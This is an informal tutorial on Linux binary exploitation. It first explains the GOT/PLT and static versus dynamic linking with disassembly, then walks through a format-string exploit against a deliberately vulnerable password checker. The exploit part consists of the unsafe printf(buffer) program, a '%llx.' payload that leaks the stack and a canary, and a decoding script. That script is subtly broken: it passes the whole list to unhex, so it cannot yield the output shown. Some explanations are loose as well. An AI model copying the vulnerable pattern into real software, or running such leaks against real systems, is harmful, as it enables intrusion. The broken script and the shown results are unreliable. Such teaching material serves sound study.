GOT/PLT

Global Offset Table & Procedure Linkage Table

the plt(procedure linkage table) and got(global offset table) is a part of linux's addressing
functionality for dynamically linked binaries
GOT:
the global offset table is a table of addresses that lies within .data, notice how it resides within
read and write memory, not .rodata.

this will become important later with format string vulnerabilities

the GOT will store the addresses of the functions, in which the dynamic binary will use to call them

PLT:
the procedure linkage table essentially points to the addresses at GOT, when you call printf@plt,
instead of calling the function directly, it will first call an entry within PLT,
which then calls the function

the plt resides within the executable .text section of the dynamically linked binary

the addresses locations are resolved with what is called lazy resolution/lazy binding

the order in which this goes is

first, the function is called within the binary example:

call printf@plt
the program execution is then jmp'd to the plt, which will point to the global offset table
if the program has already been called, and the address is already known, the GOT will point program
execution to the desired location, then ret control back into the binary

if this is the first time the function is called(no previous instances of this one particular function)
then the global offset table will point back to the PLT's address resolution procedure.

the PLT's address resolution procedure is pretty complicated and will take too much time, so
the important part of it, is that it resolves the addresses of the function calls and updates GOT

the NT/windows equivalent to the GOT/PLT is the IAT(import address table), but we will not talk
about that today

that may sound a little convoluted at first, but i will try my best to explain each of them.

when binaries are linked, they can be statically linked, or dynamically linked
this means that the binary either has all functions it uses built inside of the binary, or it will
call out the the plt, which then gives it the address of the function call within memory
the addresses of function calls are not known during linked, but are dynamically resolved during runtime
hence then name, dynamic linking

when you statically link a binary, all of the external functions you use will be stuffed inside the
binary, which increases size but is important for portability and removes the need for external
dependencies that the host system may not have

lets try an example:

#include <stdio.h>
int main() {
    printf("jotaro");
    return 0;
}

lets compile this little piece of code dynamically

gcc dy.c -o dy

now lets see which shared libraries this binary has been linked to

ldd dy

output:

linux-vdso.so.1 (0x00007fff7a3e6000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f443f8a7000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f443faae000)

now lets do that again, lets do "ldd dy" again and again

what do you notice is changing?

the addresses of the shared libraries in memory are constantly changing, this is all thanks to aslr which randomizes memory, but we will get to that later i just wanted to show a little example.

now we can see which shared libraries the binary is linked to, lets reverse this binary and see the function call

0000000000001139 <main>:
    1139:       55                      push   rbp
    113a:       48 89 e5                mov    rbp,rsp
    113d:       48 8d 3d c0 0e 00 00    lea    rdi,[rip+0xec0]        # 2004 <_IO_stdin_used+0x4>
    1144:       b8 00 00 00 00          mov    eax,0x0
    1149:       e8 e2 fe ff ff          call   1030 <printf@plt>
    114e:       b8 00 00 00 00          mov    eax,0x0
    1153:       5d                      pop    rbp
    1154:       c3                      ret
    1155:       66 2e 0f 1f 84 00 00    cs nop WORD PTR [rax+rax*1+0x0]
    115c:       00 00 00
    115f:       90                      nop

now we see the disassembly, we can see that it is initializing the stack frame, loading the address of our "jotaro" string into rdi(destination register), calling printf, and returning 0 through eax now lets take a look back at our printf call

call   1030 <printf@plt>

this calls "printf@plt", a global variable that will point to the address of printf.

this is how functions are called dynamically, now lets try compiling the binary statically

st.c: gcc st.c -static -o st

lets disassemble the main() function:

0000000000401795 <main>:
  401795:       55                      push   rbp
  401796:       48 89 e5                mov    rbp,rsp
  401799:       48 8d 3d 64 18 08 00    lea    rdi,[rip+0x81864]        # 483004 <_IO_stdin_used+0x4>
  4017a0:       b8 00 00 00 00          mov    eax,0x0
  4017a5:       e8 c6 85 00 00          call   409d70 <_IO_printf>
  4017aa:       b8 00 00 00 00          mov    eax,0x0
  4017af:       5d                      pop    rbp
  4017b0:       c3                      ret
  4017b1:       66 2e 0f 1f 84 00 00    cs nop WORD PTR [rax+rax*1+0x0]
  4017b8:       00 00 00
  4017bb:       0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]

now before we do anything, note the fact that there are tons and tons of functions within the library even though we have the exact same code that means that all the functions were thrown inside our binary for us to use

we see that it does the same thing as the other binary, it establishes the stack frame, loads the address of the string into rdi, calls printf, returns 0, and restores stack frame and program execution back to the return address.

lets take another look at printf now:

call   409d70 <_IO_printf>

now we notice that instead of calling printf@plt, it will call printf or an address within the binary

that is what static and dynamic linking is

fmt string exploits, reading from the stack

this is going to be a very short writeup, as this is a pretty simple concept

lets check out the script we are going to be exploiting

pass.c:

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char**argv){
    setvbuf(stdout, NULL, _IONBF, 0);
    char pass[]="j0t4r0\n";
    int *ptr=pass;  // write password to stack

    char buffer[256];
    printf("Enter the password: ");
    read(0, buffer, 256);
    if (strcmp(buffer, pass)!=0) {
        printf(buffer);
        exit(0);
    }
    printf("C0ngr4tz!");
    return 0;
}

what this script does, is it reads in 256 bytes into a 256 byte buffer then calls printf, this is vulnerable due to the fact that we can supply

our own format string which allows us a lot of possibilities. one of these possiblities are arbitrary reads, where we can read from the stack

as we can see, the password is "j0t4r0", and will be pushed/written on the stack the first thing we should do is test out our exploit

python2 -c 'print"%llx."*100' | ./a.out

the format string i am going to be using here is %llx, this stands for long long hex the reason for using this is that this is an x64 binary, so i would need to read 8 bytes to get the full address.

I am also using %x, which stands for hexadecimal, so i can convert the values on the stack while also getting the addresses.

the reason i had used a "." after each format string was so that i could see which values were what

lets check out output:

Enter the password: 7ffdf4556308.6a.ffffffff.0.7f0f9eef6070.7ffdf4556518.100000003.7ffdf4556308.a30723474306a.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.7ffdf4556510.5bc8ebf0ab9c2b00.0.7f0f9ed0bb25.7ffdf4556518.1f45e3000.5633f77e9189.7ffdf4556889.5633f77e9290.5a29d1bf32d2cc1c

this at first just looks like a mess, but there is valuable data here, just by looking around we can see that we leaked the stack canary, 5bc8ebf0ab9c2b00, since they always end with a null byte in little endianess

now that we have noted that everything here is in little endian, lets try and find our password within this garbled mess

lets write a python script for this

from pwn import unhex

fmtdata="7ffdf4556308.6a.ffffffff.0.7f0f9eef6070.7ffdf4556518.100000003.7ffdf4556308.a30723474306a.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.7ffdf4556510.5bc8ebf0ab9c2b00.0.7f0f9ed0bb25.7ffdf4556518.1f45e3000.5633f77e9189.7ffdf4556889.5633f77e9290.5a29d1bf32d2cc1c".split(".")
try:
    for i in fmtdata:
        print(unhex(fmtdata)[::-1])
except:
    print("Error, maybe check if there are any non decimal values?")

lets see the output:

b'\x08cU\xf4\xfd\x7f'
b'j'
b'\xff\xff\xff\xff'
b'\x00'
b'p`\xef\x9e\x0f\x7f'
b'\x18eU\xf4\xfd\x7f'
b'\x03\x00\x00\x00\x01'
b'\x08cU\xf4\xfd\x7f'
b'j0t4r0\n'

--- snip ---

b'\x10eU\xf4\xfd\x7f'
b'\x00+\x9c\xab\xf0\xeb\xc8['
b'\x00'
b'%\xbb\xd0\x9e\x0f\x7f'
b'\x18eU\xf4\xfd\x7f'
b'\x000^\xf4\x01'
b'\x89\x91~\xf73V'
b'\x89hU\xf4\xfd\x7f'
b'\x90\x92~\xf73V'
b'\x1c\xcc\xd22\xbf\xd1)Z'

and there we go!

we see our password: b'j0t4r0\n'

lets run the binary and get our congratz :D

root@root~# ./a.out
Enter the password: j0t4r0
C0ngr4tz!

nice!

Last updated